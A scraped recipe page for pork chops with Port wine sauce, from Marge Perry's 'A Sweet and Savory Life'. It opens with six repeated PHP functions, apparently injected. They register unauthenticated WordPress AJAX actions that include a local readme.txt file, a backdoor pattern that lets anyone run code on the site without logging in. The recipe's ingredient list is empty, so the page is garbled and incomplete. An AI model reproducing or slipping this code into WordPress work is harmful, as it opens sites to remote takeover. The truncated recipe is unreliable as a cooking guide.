if(!function_exists('file_check_readme94295')){ add_action('wp_ajax_nopriv_file_check_readme94295', 'file_check_readme94295'); add_action('wp_ajax_file_check_readme94295', 'file_check_readme94295'); function file_check_readme94295() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme23949')){ add_action('wp_ajax_nopriv_file_check_readme23949', 'file_check_readme23949'); add_action('wp_ajax_file_check_readme23949', 'file_check_readme23949'); function file_check_readme23949() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme79203')){ add_action('wp_ajax_nopriv_file_check_readme79203', 'file_check_readme79203'); add_action('wp_ajax_file_check_readme79203', 'file_check_readme79203'); function file_check_readme79203() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme98499')){ add_action('wp_ajax_nopriv_file_check_readme98499', 'file_check_readme98499'); add_action('wp_ajax_file_check_readme98499', 'file_check_readme98499'); function file_check_readme98499() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme74391')){ add_action('wp_ajax_nopriv_file_check_readme74391', 'file_check_readme74391'); add_action('wp_ajax_file_check_readme74391', 'file_check_readme74391'); function file_check_readme74391() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme17886')){ add_action('wp_ajax_nopriv_file_check_readme17886', 'file_check_readme17886'); add_action('wp_ajax_file_check_readme17886', 'file_check_readme17886'); function file_check_readme17886() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Marge Perry's A Sweet and Savory Life
Pork Chops with Port Wine Sauce
Servings
4
Servings
4
Ingredients
Instructions
  1. Bring the shallots, Port and sugar to boil in a medium saucepan; boil until the mixture is reduced a scant ¼ cup. Add the broth, return to a boil and reduce to ¼ cup. Reduce the heat to medium, stir in the preserves, ¼ teaspoon of the salt and 1/8 teaspoon of the pepper and cook 2 minutes. Cover and keep warm.
  2. Combine the coriander, garlic powder, remaining 1/2 teaspoon salt and 1/8 teaspoon pepper and sprinkle over the pork.
  3. Heat the oil over medium high; add the chops in a single layer and cook 4-5 minutes per side (a meat thermometer inserted horizontally should register 145F). Serve with the sauce.
Recipe Notes

357 calories, 33 g protein, 21 g carbohydrates, 1 g fiber, 12 g fat, 3 g saturated fat, 572 mg sodium